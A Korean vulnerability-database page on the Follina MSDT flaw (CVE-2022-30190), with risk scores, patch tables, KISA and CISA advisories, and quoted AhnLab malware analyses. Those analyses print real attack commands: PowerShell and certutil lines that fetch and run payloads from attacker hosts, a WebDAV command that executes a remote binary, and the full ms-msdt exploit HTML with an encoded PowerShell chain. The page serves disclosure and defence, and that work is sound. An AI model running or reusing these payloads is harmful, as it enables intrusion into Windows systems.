vuln-intel취약점 정보 통합 DB

← 목록

CVE-2022-30190

위험도 높음 실제 악용 (KEV) 랜섬웨어 악용 공격 코드 공개 ASEC 언급 6건

우선순위 이 사이트의 참고 점수
18.25
위험도 CVSS 3.1 · 0~10점
7.8
악용 가능성 EPSS · 30일 안에 공격에 쓰일 확률
98.5%
공개일 NVD
2022-06-01

설명 NVD 원문

원격 코드 실행(RCE) 취약점은 Word와 같은 호출 응용 프로그램에서 URL 프로토콜을 사용하여 MSDT가 호출될 때 존재한다. 이 취약점을 성공적으로 악용한 공격자는 호출 응용 프로그램의 권한으로 임의의 코드를 실행할 수 있다. 이후 공격자는 사용자 권한이 허용하는 범위에서 프로그램을 설치하고, 데이터를 보고, 변경하거나 삭제하며, 새 계정을 생성할 수 있다. 이 취약점으로부터 시스템을 보호하기 위해 취할 수 있는 조치에 대한 중요 정보는 MSRC 블로그 게시물을 참고한다.

Claude 로 기계 번역한 글입니다. 정확한 내용은 영어 원문을 확인하세요.

영어 원문

A remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights. Please see the MSRC Blog Entry for important information about steps you can take to protect your system from this vulnerability.

위험도 세부 항목 CVSS 3.1

공격 경로
로컬(장비 안) AV:L
공격 난이도
낮음(쉬움) AC:L
필요한 권한
없음(로그인 불필요) PR:N
사용자 행동 필요
필요(클릭 등) UI:R
영향 범위
그 제품 안 S:U
정보 유출(기밀성)
높음 C:H
데이터 변조(무결성)
높음 I:H
서비스 중단(가용성)
높음 A:H

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

조치 방법 47행

출처플랫폼·제품방식패키지수정된 버전권고문RHSA 등내용
KISA Microsoft Windows Support Diagnostic Tool (MSDT)패치(업데이트) KISA-66758
KISA Windows MSDT 취약점 주의 권고패치(업데이트) KISA-66750
o MSDT URL 프로토콜 처리기의 비활성화[1] 1) 명령 프롬프트를 관리자 권한으로 실행 2) 레지스트리 키 백업 시 "reg export HKEY_CLASSES_ROOT\m…

o MSDT URL 프로토콜 처리기의 비활성화[1] 1) 명령 프롬프트를 관리자 권한으로 실행 2) 레지스트리 키 백업 시 "reg export HKEY_CLASSES_ROOT\ms-msdt filename" 명령 실행 3) MSDT URL 프로토콜 처리기 비활성화를 위해 "reg delete HKEY_CLASSES_ROOT\ms-msdt /f" 명령 실행

Microsoft 조치 (KB 업데이트) 45행
출처플랫폼·제품방식패키지수정된 버전권고문RHSA 등내용
Microsoft Windows 10 for 32-bit Systems패치(업데이트)KB5014710 10.0.10240.19325 KB5014710 보안 업데이트 · 재시작 필요
Microsoft Windows 10 for x64-based Systems패치(업데이트)KB5014710 10.0.10240.19325 KB5014710 보안 업데이트 · 재시작 필요
Microsoft Windows 10 Version 1607 for 32-bit Systems패치(업데이트)KB5014702 10.0.14393.5192 KB5014702 보안 업데이트 · 재시작 필요
Microsoft Windows 10 Version 1607 for x64-based Systems패치(업데이트)KB5014702 10.0.14393.5192 KB5014702 보안 업데이트 · 재시작 필요
Microsoft Windows 10 Version 1809 for 32-bit Systems패치(업데이트)KB5014692 10.0.17763.3046 KB5014692 보안 업데이트 · 재시작 필요
Microsoft Windows 10 Version 1809 for ARM64-based Systems패치(업데이트)KB5014692 10.0.17763.3046 KB5014692 보안 업데이트 · 재시작 필요
Microsoft Windows 10 Version 1809 for x64-based Systems패치(업데이트)KB5014692 10.0.17763.3046 KB5014692 보안 업데이트 · 재시작 필요
Microsoft Windows 10 Version 20H2 for 32-bit Systems패치(업데이트)KB5014699 10.0.19042.1766 KB5014699 보안 업데이트 · 재시작 필요
Microsoft Windows 10 Version 20H2 for ARM64-based Systems패치(업데이트)KB5014699 10.0.19042.1766 KB5014699 보안 업데이트 · 재시작 필요
Microsoft Windows 10 Version 21H1 for 32-bit Systems패치(업데이트)KB5014699 10.0.19043.1766 KB5014699 보안 업데이트 · 재시작 필요
Microsoft Windows 10 Version 21H1 for ARM64-based Systems패치(업데이트)KB5014699 10.0.19043.1766 KB5014699 보안 업데이트 · 재시작 필요
Microsoft Windows 10 Version 21H1 for x64-based Systems패치(업데이트)KB5014699 10.0.19043.1766 KB5014699 보안 업데이트 · 재시작 필요
Microsoft Windows 10 Version 21H2 for 32-bit Systems패치(업데이트)KB5014699 10.0.19044.1766 KB5014699 보안 업데이트 · 재시작 필요
Microsoft Windows 10 Version 21H2 for ARM64-based Systems패치(업데이트)KB5014699 10.0.19044.1766 KB5014699 보안 업데이트 · 재시작 필요
Microsoft Windows 10 Version 21H2 for x64-based Systems패치(업데이트)KB5014699 10.0.19044.1766 KB5014699 보안 업데이트 · 재시작 필요
Microsoft Windows 11 version 21H2 for ARM64-based Systems패치(업데이트)KB5014697 10.0.22000.739 KB5014697 보안 업데이트 · 재시작 필요
Microsoft Windows 11 version 21H2 for x64-based Systems패치(업데이트)KB5014697 10.0.22000.739 KB5014697 보안 업데이트 · 재시작 필요
Microsoft Windows 7 for 32-bit Systems Service Pack 1패치(업데이트)KB5014742 6.1.7601.25984 KB5014742 보안 전용 업데이트 · 재시작 필요
Microsoft Windows 7 for 32-bit Systems Service Pack 1패치(업데이트)KB5014748 6.1.7601.25984 KB5014748 월간 롤업 · 재시작 필요
Microsoft Windows 7 for x64-based Systems Service Pack 1패치(업데이트)KB5014742 6.1.7601.25984 KB5014742 보안 전용 업데이트 · 재시작 필요
Microsoft Windows 7 for x64-based Systems Service Pack 1패치(업데이트)KB5014748 6.1.7601.25984 KB5014748 월간 롤업 · 재시작 필요
Microsoft Windows 8.1 for 32-bit systems패치(업데이트)KB5014738 6.3.9600.20402 KB5014738 월간 롤업 · 재시작 필요
Microsoft Windows 8.1 for 32-bit systems패치(업데이트)KB5014746 6.3.9600.20402 KB5014746 보안 전용 업데이트 · 재시작 필요
Microsoft Windows 8.1 for x64-based systems패치(업데이트)KB5014738 6.3.9600.20402 KB5014738 월간 롤업 · 재시작 필요
Microsoft Windows 8.1 for x64-based systems패치(업데이트)KB5014746 6.3.9600.20402 KB5014746 보안 전용 업데이트 · 재시작 필요
Microsoft Windows RT 8.1패치(업데이트)KB5014738 6.3.9600.20402 KB5014738 월간 롤업 · 재시작 필요
Microsoft Windows Server 2008 R2 for x64-based Systems Service Pack 1패치(업데이트)KB5014742 6.1.7601.25984 KB5014742 보안 전용 업데이트 · 재시작 필요
Microsoft Windows Server 2008 R2 for x64-based Systems Service Pack 1패치(업데이트)KB5014748 6.1.7601.25984 KB5014748 월간 롤업 · 재시작 필요
Microsoft Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)패치(업데이트)KB5014742 6.1.7601.25984 KB5014742 보안 전용 업데이트 · 재시작 필요
Microsoft Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)패치(업데이트)KB5014748 6.1.7601.25984 KB5014748 월간 롤업 · 재시작 필요
Microsoft Windows Server 2012패치(업데이트)KB5014741 6.2.9200.23736 KB5014741 보안 전용 업데이트 · 재시작 필요
Microsoft Windows Server 2012패치(업데이트)KB5014747 6.2.9200.23736 KB5014747 월간 롤업 · 재시작 필요
Microsoft Windows Server 2012 (Server Core installation)패치(업데이트)KB5014741 6.2.9200.23736 KB5014741 보안 전용 업데이트 · 재시작 필요
Microsoft Windows Server 2012 (Server Core installation)패치(업데이트)KB5014747 6.2.9200.23736 KB5014747 월간 롤업 · 재시작 필요
Microsoft Windows Server 2012 R2패치(업데이트)KB5014738 6.3.9600.20402 KB5014738 월간 롤업 · 재시작 필요
Microsoft Windows Server 2012 R2패치(업데이트)KB5014746 6.3.9600.20402 KB5014746 보안 전용 업데이트 · 재시작 필요
Microsoft Windows Server 2012 R2 (Server Core installation)패치(업데이트)KB5014738 6.3.9600.20402 KB5014738 월간 롤업 · 재시작 필요
Microsoft Windows Server 2012 R2 (Server Core installation)패치(업데이트)KB5014746 6.3.9600.20402 KB5014746 보안 전용 업데이트 · 재시작 필요
Microsoft Windows Server 2016패치(업데이트)KB5014702 10.0.14393.5192 KB5014702 보안 업데이트 · 재시작 필요
Microsoft Windows Server 2016 (Server Core installation)패치(업데이트)KB5014702 10.0.14393.5192 KB5014702 보안 업데이트 · 재시작 필요
Microsoft Windows Server 2019패치(업데이트)KB5014692 10.0.17763.3046 KB5014692 보안 업데이트 · 재시작 필요
Microsoft Windows Server 2019 (Server Core installation)패치(업데이트)KB5014692 10.0.17763.3046 KB5014692 보안 업데이트 · 재시작 필요
Microsoft Windows Server 2022패치(업데이트)KB5014678 10.0.20348.770 KB5014678 보안 업데이트 · 재시작 필요
Microsoft Windows Server 2022 (Server Core installation)패치(업데이트)KB5014678 10.0.20348.770 KB5014678 보안 업데이트 · 재시작 필요
Microsoft Windows Server, version 20H2 (Server Core Installation)패치(업데이트)KB5014699 10.0.19042.1766 KB5014699 보안 업데이트 · 재시작 필요

CISA 조치 권고 KEV

제조사 안내에 따라 업데이트를 적용하세요.

영어 원문

Apply updates per vendor instructions.

미국 연방기관 조치 기한: 2022-07-05

살펴볼 장비 초안

공격 대상: 운영체제 (서버·PC 공통). '이 장비에서 살펴볼 취약점' 이라는 분류이며, 장비가 탐지한다는 확인이 아닙니다.

장비 보기정도분류 이유
사용자 PC (EDR·메일)보조사용자 행동이 필요한 공격

단계별 판정 예시 환경

시나리오 미작성 — 이 CVE 는 단계별 판정을 하지 않았습니다. 안전하다는 뜻이 아닙니다.

출처별 내용 9건

CISA KEV Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability 2022-06-14

원문 보기

Apply updates per vendor instructions.

KISA MS 6월 보안 위협에 따른 정기 보안 업데이트 권고 2022-06-15

원문 보기

□ 6월 보안업데이트 개요(총 16종) o 등급 : 긴급(Critical) 9종, 중요(Important) 7종 o 발표일 : 2022.6.15.(수) o 업데이트 내용 업데이트 내용 - 제품군, 중요도, 영향의 정보를 제공 제품군 중요도 영향 Windows 11 긴급 원격 코드 실행 Windows 10 21H2 긴급 원격 코드 실행 Windows 10 v21H1 긴급 원격 코드 실행 Windows 10 20H2 및 Windows Server v20H2 긴급 원격 코드 실행 Windows Server 2022 긴급 원격 코드 실행 Windows Server 2019 긴급 원격 코드 실행 Windows Server 2016 긴급 원격 코드 실행 Windows 8.1 및 Server 2012 R2 긴급 원격 코드 실행 Windows Server 2012 긴급 원격 코드 실행 Microsoft Office 중요 원격 코드 실행 Microsoft SharePoint 중요 원격 코드 실행 Microsoft .NET 중요 권한 상승 Microsoft Visual Studio 중요 권한 상승 Microsoft Azure 관련 소프트웨어 중요 원격 코드 실행 Microsoft SQL Server 중요 원격 코드 실행 SCOM(System Center Operations Manager) 중요 권한 상승 [참고 사이트] [1] (한글) https://portal.msrc.microsoft.com/ko-kr/security-guidance [2] (영문) https://portal.msrc.microsoft.com/en-us/security-guidance [3] https://msrc.microsoft.com/update-guide/releaseNote/2022-Jun [4] https://msrc.microsoft.com/update-guide o 취약점 요약 정보 취약점 요약 정보 - 제품 카테고리, CVE 번호, CVE 제목의 정보를 제공 제품 카테고리 CVE 번호 CVE 제목 .NET Framework CVE-2022-26832 .NET Framework 서비스 거부 취약성 .NET and Visual Studio CVE-2022-23267 .NET 및 Visual Studio 서비스 거부 취약성 .NET and Visual Studio CVE-2022-30184 .NET 및 Visual Studio 정보 공개 취약성 Microsoft Windows Codecs Library CVE-2022-30167 AV1 비디오 확장 원격 코드 실행 취약성 Microsoft Windows Codecs Library CVE-2022-30193 AV1 비디오 확장 원격 코드 실행 취약성 Azure OMI CVE-2022-29149 Azure Open Management Infrastructure (OMI) Elevation of Privilege Vulnerability Azure Real Time Operating System CVE-2022-30177 Azure RTOS GUIX Studio 원격 코드 실행 취약성 Azure Real Time Operating System CVE-2022-30178 Azure RTOS GUIX Studio 원격 코드 실행 취약성 Azure Real Time Operating System CVE-2022-30179 Azure RTOS GUIX Studio 원격 코드 실행 취약성 Azure Real Time Operating System CVE-2022-30180 Azure RTOS GUIX Studio 정보 공개 취약성 Azure Service Fabric Container CVE-2022-30137 Azure Service Fabric Container Elevation of Privilege Vulnerability Microsoft Windows Codecs Library CVE-2022-29111 HEVC 비디오 확장 원격 코드 실행 취약성 Microsoft Windows Codecs Library CVE-2022-22018 HEVC 비디오 확장 원격 코드 실행 취약성 Microsoft Windows Codecs Library CVE-2022-30188 HEVC 비디오 확장 원격 코드 실행 취약성 Microsoft Windows Codecs Library CVE-2022-29119 HEVC 비디오 확장 원격 코드 실행 취약성 Intel ADV220002 Intel 프로세서 MMIO 부실 데이터 취약성에 대한 Microsoft 지침 Intel CVE-2022-21123 Intel: CVE-2022-21123 SBDR(공유 버퍼 데이터 읽기) Intel CVE-2022-21125 Intel: CVE-2022-21125 SBDS(공유 버퍼 데이터 샘플링) Intel CVE-2022-21127 Intel: CVE-2022-21127 SRBDS 업데이트(스페셜 레지스터 버퍼 데이터 샘플링 업데이트) Intel CVE-2022-21166 Intel: CVE-2022-21166 DRPW(장치 레지스터 일부 쓰기) Windows Kerberos CVE-2022-30164 Kerberos AppContainer 보안 기능 우회 취약성 Windows Local Security Authority Subsystem Service CVE-2022-30166 Local Security Authority Subsystem Service 권한 상승 취약성 Microsoft Windows Support Diagnostic Tool (MSDT) CVE-2022-30190 MSDT(Microsoft Windows 지원 진단 도구) 원격 코드 실행 취약성 Microsoft Office Excel CVE-2022-30173 Microsoft Excel 원격 코드 실행 취약성 Microsoft Office CVE-2022-30174 Microsoft Office 원격 코드 실행 취약성 Microsoft Office CVE-2022-30159 Microsoft Office 정보 유출 취약성 Microsoft Office CVE-2022-30171 Microsoft Office 정보 유출 취약성 Microsoft Office CVE-2022-30172 Microsoft Office 정보 유출 취약성 SQL Server CVE-2022-29143 Microsoft SQL Server 원격 코드 실행 취약성 Microsoft Office SharePoint CVE-2022-30157 Microsoft SharePoint Server 원격 코드 실행 취약성 Microsoft Office SharePoint CVE-2022-30158 Microsoft SharePoint Server 원격 코드 실행 취약성 Windows App Store CVE-2022-30168 Microsoft 사진 앱 원격 코드 실행 취약성 Remote Volume Shadow Copy Service (RVSS) CVE-2022-30154 Microsoft 파일 서버 섀도 복사본 에이전트 서비스(RVSS) 권한 상승 취약성 Visual Studio CVE-2022-24513 Visual Studio 권한 상승 취약성 Windows Ancillary Function Driver for WinSock CVE-2022-30151 WinSock용 Windows 보조 기능 드라이버 권한 상승 취약성 Windows Autopilot CVE-2022-30189 Windows Autopilot 장치 관리 및 등록 클라이언트 스푸핑 취약성 Windows DCOM Server CVE-2021-26414 Windows DCOM 서버 보안 기능 우회 Windows PowerShell CVE-2022-30148 Windows DSC(필요한 상태 구성) 정보 공개 취약성 Windows Defender CVE-2022-30150 Windows Defender Remote Credential Guard 권한 상승 취약성 Windows Encrypting File System (EFS) CVE-2022-30145 Windows EFS(파일 시스템 암호화) 원격 코드 실행 취약성 Role: Windows Hyper-V CVE-2022-30163 Windows Hyper-V 원격 코드 실행 취약성 Windows Installer CVE-2022-30147 Windows Installer 권한 상승 취약성 Windows Kerberos CVE-2022-30165 Windows Kerberos 권한 상승 취약성 Windows LDAP - Lightweight Directory Access Protocol CVE-2022-30141 Windows LDAP(Lightweight Directory Access Protocol) 원격 코드 실행 취약성 Windows LDAP - Lightweight Directory Access Protocol CVE-2022-30143 Windows LDAP(Lightweight Directory Access Protocol) 원격 코드 실행 취약성 Windows LDAP - Lightweight Directory Access Protocol CVE-2022-30149 Windows LDAP(Lightweight Directory Access Protocol) 원격 코드 실행 취약성 Windows LDAP - Lightweight Directory Access Protocol CVE-2022-30153 Windows LDAP(Lightweight Directory Access Protocol) 원격 코드 실행 취약성 Windows LDAP - Lightweight Directory Access Protocol CVE-2022-30161 Windows LDAP(Lightweight Directory Access Protocol) 원격 코드 실행 취약성 Windows LDAP - Lightweight Directory Access Protocol CVE-2022-30139 Windows LDAP(Lightweight Directory Access Protocol) 원격 코드 실행 취약성 Windows LDAP - Lightweight Directory Access Protocol CVE-2022-30146 Windows LDAP(Lightweight Directory Access Protocol) 원격 코드 실행 취약성 Windows Media CVE-2022-30135 Windows Media Center 권한 상승 취약성 Windows Network Address Translation (NAT) CVE-2022-30152 Windows NAT(Network Address Translation) 서비스 거부 취약성 Windows Network File System CVE-2022-30136 Windows Network 파일 시스템 원격 코드 실행 취약성 Windows SMB CVE-2022-32230 Windows SMB 서비스 거부 취약성 Windows iSCSI CVE-2022-30140 Windows iSCSI 검색 서비스 원격 코드 실행 취약성 Microsoft Windows ALPC CVE-2022-30160 Windows 고급 로컬 프로시저 호출 권한 상승 취약성 Microsoft Endpoint Configuration Manager CVE-2022-24527 Windows 끝점 구성 관리자 권한 상승 취약성 Windows Kernel CVE-2022-30155 Windows 커널 서비스 거부 취약성 Windows Kernel CVE-2022-30162 Windows 커널 정보 유출 취약성 Windows Container Manager Service CVE-2022-30132 Windows 컨테이너 관리자 서비스 권한 상승 취약성 Windows Container Isolation FS Filter Driver CVE-2022-30131 Windows 컨테이너 분리 FS 필터 드라이버 권한 상승 취약성 Windows File History Service CVE-2022-30142 Windows 파일 기록 원격 코드 실행 취약성 □ 작성 : 취약점분석팀

KISA Windows MSDT 취약점 주의 권고 2022-06-02

원문 보기

□ 개요 o 원격 템플릿 기능을 활용, MSDT(Microsoft 진단도구) URL을 통해 파워쉘을 실행시키는 Follina 취약점 악용 Microsoft Office 악성 문서가 발견됨에 따라 아래와 같은 방법으로 악성코드 감염 예방 및 대응 권고 □ 설명 o Microsoft Office 등에서 발생하는 MSDT(Microsoft 진단 도구)를 이용한 파워쉘 실행 취약점(CVE-2022-30190) □ 영향 받는 제품 및 버전 o MSDT(Microsoft 진단도구)가 설치되어 있는 모든 Windows 제품군(Windows 11 v21H2, Windows 10 버전 v1803 부터 v21H2 까지, Windows 7, Windows Server 2008 R2 등) □ 대응 방안 o MSDT URL 프로토콜 처리기의 비활성화[1] 1) 명령 프롬프트를 관리자 권한으로 실행 2) 레지스트리 키 백업 시 "reg export HKEY_CLASSES_ROOT\ms-msdt filename" 명령 실행 3) MSDT URL 프로토콜 처리기 비활성화를 위해 "reg delete HKEY_CLASSES_ROOT\ms-msdt /f" 명령 실행 □ 기타 문의사항 o 한국인터넷진흥원 인터넷침해대응센터: 국번없이 118 [참고사이트] [1] https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/ □ 작성 : 취약점분석팀

ASEC ‘항균필름제안서’ 내용의 Follina 취약점(CVE-2022-30190) 공격 2022-06-08

원문 보기

지난 5월 31일, ASEC 분석팀에서는 본 블로그를 통해 MS 오피스 문서파일에 대한 제로데이 취약점인 Follina 에 대해 신속하게 소개한 바 있다. 아직 해당 취약점에 대한 패치가 제공되지 않아 사용자 주의가 요구되는 상황이다. 주의! MS 오피스 제로데이 취약점 Follina (CVE-2022-30190) 안랩은 해당 취약점 이용한 공격시도에 대해 파일진단, 행위진단 관점에서 탐지 룰을 배포한 상황이며, 다양한 자사 제품군(V3, MDS, EDR)에서 탐지가 가능한 상황이다. 해당 공격 시도에 대한 모니터링을 진행하는 상황에서 6월 7일에 국내 사용자를 타겟으로 한 유포 정황이 안랩 ASD(Ahnlab Smart Defence)인프라를 통하여 확인되었다. V3 Lite 4.0 제품을 사용하는 사용자이며, ‘ 항균필름제안서 1-1.docx ‘ 이름으로 유포된 것을 알 수 있다. 그림 1) ASD 인프라로 수집된 취약점 공격 로그 해당 파일은 기존에 공유된 대로 msdt.exe를 이용한 원격 프로세스 실행으로 Windows정상 프로그램인 Powershell.exe와 CertUtil.exe를 이용하여 암호화된 스크립트을 다운로드 후 복호화 하고 다시 Powershell.exe를 이용하여 실행중인 explorer.exe 인젝션 하여 악성행위를 실행한다. 상세 실행 내역은 아래와 같다. 그림 2) 취약점 문서 실행시 msdt.exe 실행 명령어 아무 의심없이 CVE-2022-30190 취약점이 사용된 ‘ 항균필름제안서 1-1.docx ‘ 이름의 워드문서를 실행할 경우 위 그림과 같은 원격 명령어가 실행된다. // 상기 그림의 복호화 된 코드 일부 "c:\windows\system32\cmd.exe"; Start-Process $cmd -windowstyle hidden -ArgumentList "/c powershell iwr -outf %tmp%\api.txt http://micronannox[.]com//b.txt & certutil -decode %tmp%\api.txt %tmp%\apis.ps1"; Start-Sleep 3; Start-Process $cmd -windowstyle hidden -ArgumentList "/c powershell Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser & powershell %tmp%\apis.ps1 상기 취약점으로 실행된 코드의 간략한 실행 순서는 다음과 같다. Powershell.exe는 hxxp://micronannox[.]com/b.txt 를 %tmp%api.txt로 저장한다. api.txt를 Certutil.exe를 이용하여 apis.ps1로 복호화 한다. 숨김 속성과 스크립트 실행 속성을 부여하여 복호화 한 apis.ps1을 실행한다. apis.ps1의 기능은 쉘코드를 현재 실행 중인 explorer.exe에 인젝션 하며, 인젝션 된 쉘코드는 추가 암호화된 데이터를 hxxp://micronannox[.]com/imei.omg 에서 C:\Users\Public\no1.png 경로에 다운로드 하고 xor로 복호화 한다. 최종 복호화 된 파일은 실행 파일이며로 현재 추가로 백도어 파일을 다운로드한다. 그림 3) apis.ps1 코드 일부 안랩 보안제품은 최신 취약점 문서파일에 대해 아래와 같이 탐지하고 있다. V3 행위진단 그림 4) 안랩 V3 비정상 msdt.exe 실행 행위 탐지 화면 AhnLab EDR 진단 그림 5) winword.exe -> msdt.exe의 비정상 실행 탐지 그림 6) 의심스러운 powershell.exe의 실행 탐지 해당 취약점과 관련된 파일을 진단하기 위해 반영한 룰의 진단로그에서 6월 2일에 ‘2023 도하 엑스포’를 겨냥한 문서( VIP Invitation to Doha Expo 2023.docx )가 연달아 확인되어 이를 소개하려 한다. 워드파일 실행 시 내부 document.xml.rels 에 연결된 External URL로 데이터 다운로드를 시도하는데, 이 때에도 사용자를 교묘하게 속이기 위해 다운로드 URL도 ‘2023 도하 엑스포’와 관련된 주소를 이용한 것을 알 수 있다. hxxps://files.attend-doha-expo[.]com/inv.html 아래 그림 7), 그림 8)과 같이 워드 본문의 내용은 도하 엑스포 초청장을 위장하였다. 그림 7) 워드 실행 시 확인되는 외부URL 연결시도 화면 그림 8) 워드 본문 내용 진단로그 모니터링 과정에서 두 개의 워드 문서가 확인되었는데, 각각의 파일 내부 document.xml.rels 의 External 태그에 존재하는 URL은 동일하지만 태그 배치의 구조 상 약간의 변화를 준 것으로 확인되었다. <?xml version="1.0" encoding="UTF-8" standalone="yes"?> (..생략..) <Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="hxxps://files.attend-doha-expo[.]com/inv.html!" TargetMode="External" /> (..생략..) </Relationships> HTML 파일은 기존에 공개된 PoC 코드의 형태와 동일하게 상단의 내용은 긴 텍스트(AAA~)주석처리 되어있으나 하단 부분은 파워쉘 코드가 Base64인코딩 되어있음을 알 수 있으며, 해당 파워쉘코드를 디코딩 하면 아래와 같다. 지난 블로그에서 ms-msdt를 통해 공격자가 의도한 코드 실행이 가능하므로 다양한 공격이 가능하다고 소개하였는데, ‘2023 도하 엑스포 초청장’을 위장한 워드문서와 관련된 해당 HTML에는 코발트 스트라이크의 페이로드를 다운로드 할 수 있는 코드가 존재 한다. [외부 참조] MalwareHunterTeam @malwrhunterteam Any.Run Sandbox 그림 9) 외부 URL에서 다운로드되는 HTML 파일 (inv.html) $cmd="C:\windows\system32\cmd.exe"; Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe"; Start-Process $cmd -windowstyle hidden -ArgumentList "/c net use z: \\5.206.224[.]233\webdav\ /user:user `$RFVbgtyuJ32D && z:\osdupdate.exe && net use z: /delete "; 공식 패치가 이루어지기 전까지는 MSDT URL 프로토콜을 비활성화 하는 방법으로 임시 조치가 가능하다. AhnLab에서는 아래 진단명으로 해당 취약점 파일 및 행위 탐지가 가능하다. 파일 진단명 Exploit/HTML.CVE-2022-30190.S1841 Exploit/XML.CVE-2022-30190.S1842 Exploit/DOC.CVE-2022-30190 Downloader/DOC.External 행위 진단명 Behavior/MDP.Event.M4313 [IOC] hxxps://files.attend-doha-expo[.]com/inv.html hxxp://micronannox[.]com/b.txt hxxp://micronannox[.]com/imei.omg hxxp://micronannox[.]com/slid.html 85829b792aa3a5768de66beacdb0a0ce 7c4ee39de1b67937a26c9bc1a7e5128b 4e7fc2acd66d87c7a439b49196899001 35a20a3ace9f59456a75f469186d2d19 963cc5bd71dc0412941bfc336100ec94 hxxp://5.206.224[.]233 hxxp://23.106.122[.]13 연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.

ASEC 주의! MS 오피스 제로데이 취약점 Follina (CVE-2022-30190) 2022-05-31

원문 보기

Follina라 지칭되는 신규 취약점 CVE-2022-30190이 공개되었다. MS에 따르면 해당 취약점은 Word와 같은 호출 응용 프로그램에서 URL 프로토콜을 사용하여 MSDT를 호출할 때 원격 코드 실행 취약점이 발생한다. 해당 취약점 발생 시 호출 응용 프로그램의 권한으로 임의 코드를 실행할 수 있으며 추가 프로그램을 설치하거나 데이터 확인 및 변경 또는 삭제가 가능하다. 1. 취약점 악성코드 예시 이 취약점이 확인된 Word문서에서는 기존에 알려진 방식인 External 태그에 작성된 URL 연결을 통해 취약점을 발생시키는 HTML파일이 다운로드 및 실행되면서 발생하였다. (현재는 해당 URL이 활성화되어 있지 않아 추가 동작은 수행되지 않는다.) Word 실행과 동시에 해당 URL에 접근하여 다운로드 된 HTML의 MSDT가 호출되면서 취약점이 발생하여 악의적인 코드 실행이 가능하다. 외부 자료 에 공개된 위 RDF8421.html의 내용은 아래 코드와 같으며 주석 하단에 ms-msdt 를 실행하는 코드가 삽입되어 있다. 이러한 형태로 ms-msdt를 통해 공격자가 의도한 코드 실행이 가능하므로 다양한 공격이 가능해진다. <!doctype html> <html lang="en"> <body> <script> //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -- 중략 -- //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../..//Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\""; </script> </body> </html> 2. 취약점 대응방안 MS에서 공개 한 대응 방안은 아래와 같다. MSDT URL 프로토콜을 비활성화 1. 명령 프롬프트(cmd.exe)를 관리자로 실행 2. 레지스트리 키를 백업하기위해 “reg export HKEY_CLASSES_ROOT\ms-msdt filename ” 명령 실행 3. “reg delete HKEY_CLASSES_ROOT\ms-msdt /f” 명령 실행 3. 안랩 제품 대응현황 AhnLab에서는 아래 진단명으로 해당 취약점 파일 및 행위 탐지가 가능하다. (파일진단명) Exploit/HTML.CVE-2022-30190.S1841 (행위진단명) Behavior/MDP.Event.M4313 참고1) https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug 참고2) https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/ MD5 52945af1def85b171870b31fa4782e52 d1fe26b84043ac11fa5ddb90906e6d56 URL https[:]//www[.]xmlformats[.]com/office/word/2022/wordprocessingDrawing/RDF842l[.]html

ASEC 영어·일본어 등 다른 언어 글 4건
ASEC 「抗菌フィルム提案書」の内容を含んだ Follina 脆弱性(CVE-2022-30190)の攻撃 2022-06-15

원문 보기

